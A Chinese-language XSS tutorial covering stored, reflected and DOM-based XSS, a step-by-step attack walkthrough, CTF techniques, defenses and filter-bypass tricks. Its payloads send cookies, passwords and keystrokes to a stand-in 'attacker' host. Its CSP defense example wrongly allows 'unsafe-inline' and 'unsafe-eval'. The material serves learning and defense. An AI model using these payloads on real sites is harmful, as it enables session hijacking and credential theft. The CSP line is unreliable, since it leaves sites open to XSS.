主页 > 互联网  > 

XSS攻击(跨站脚本攻击)详解与实战

XSS攻击(跨站脚本攻击)详解与实战

文章目录 一、什么是XSS?二、XSS分类与场景三、XSS攻击实战流程四、CTF中的XSS利用五、XSS防御方案六、绕过过滤的常见技巧七、实战练习资源

一、什么是XSS?

XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(JavaScript、HTML等),在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌,甚至控制用户浏览器行为。


二、XSS分类与场景

存储型XSS(Stored XSS)

特点:恶意脚本永久存储在目标服务器(如评论区、用户资料页)。影响范围:所有访问受影响页面的用户。示例:<script>alert('XSS');</script> // 提交到评论区,所有用户加载时触发弹窗

反射型XSS(Reflected XSS)

特点:恶意脚本通过URL参数传递,服务端返回时直接嵌入页面。触发条件:用户需点击构造的恶意链接。示例: http://victim /search?q=<script>alert(document.cookie)</script>`

DOM型XSS(DOM-Based XSS)

特点:漏洞位于客户端JavaScript代码中,不经过服务端处理。

常见场景:通过location.hash、document.write等动态修改DOM。

示例:

// 假设页面JS代码:document.write(location.hash.substring(1)); 恶意URL:http://victim #<img src=x onerror=alert(1)>
三、XSS攻击实战流程

目标场景:某博客平台的评论功能存在存储型XSS漏洞。

步骤1:探测注入点

在评论区提交测试Payload:

<script>alert(1)</script>

若页面弹窗,确认漏洞存在。

步骤2:窃取用户Cookie

构造Payload将Cookie发送至攻击者服务器:

<script> fetch('http://attacker /steal?cookie=' + document.cookie); </script>

攻击者服务器(attacker )记录窃取的Cookie,用于会话劫持。

步骤3:钓鱼攻击

伪造登录表单诱导用户输入密码:

<div style="display:none" id="phish"> <form action="http://attacker /log" method="POST"> <input type="password" name="password"> <input type="submit" value="Login"> </form> </div> <script>document.getElementById('phish').style.display='block';</script>

步骤4:键盘记录

监听用户输入并回传数据:

<script>document.addEventListener('keypress', (e) => { fetch('http://attacker /keylog?key=' + e.key); }); </script>
四、CTF中的XSS利用

窃取管理员Cookie获取Flag

题目场景:留言板存在XSS,管理员会查看留言。

Payload:

<script>location.href = 'http://attacker /?flag=' + document.cookie; </script>

攻击者服务器接收管理员Cookie中的Flag。

DOM型XSS绕过过滤

题目过滤了<script>标签,但允许img标签:

<img src=x onerror="alert(1)">

利用事件处理器(如onerror、onload)执行代码。

利用伪协议

通过javascript:协议触发XSS:

http://victim /profile?name=<a href="javascript:alert(1)">Click</a>
五、XSS防御方案

输入过滤与输出编码

对用户输入的特殊字符(<, >, &, ', ")进行HTML实体编码:

// PHP示例 echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

避免直接使用innerHTML,优先使用textContent。

内容安全策略(CSP)

通过HTTP头限制脚本来源:

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'

设置HttpOnly标志

Cookie中标记HttpOnly,防止JavaScript读取:

Set-Cookie: session=abc123; HttpOnly; Secure

框架自动防护

使用现代前端框架(如React、Vue),默认对动态内容进行转义。
六、绕过过滤的常见技巧

大小写混淆:

<ScRiPt>alert(1)</sCriPt>

编码绕过:

HTML实体编码:

<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">

JavaScript Unicode编码:

\u0061\u006c\u0065\u0072\u0074(1)

利用标签属性:

<svg/onload=alert(1)> <iframe src="javascript:alert(1)">
七、实战练习资源 PortSwigger XSS Labs 地址: portswigger.net/web-security/cross-site-scripting XSS挑战游戏 XSS Game(Google): xss-game.appspot CTF平台 Hack The Box, CTFlearn中的Web题目。

总结:XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中,灵活构造Payload并理解上下文过滤规则是解题关键。

标签:

XSS攻击(跨站脚本攻击)详解与实战由讯客互联互联网栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“XSS攻击(跨站脚本攻击)详解与实战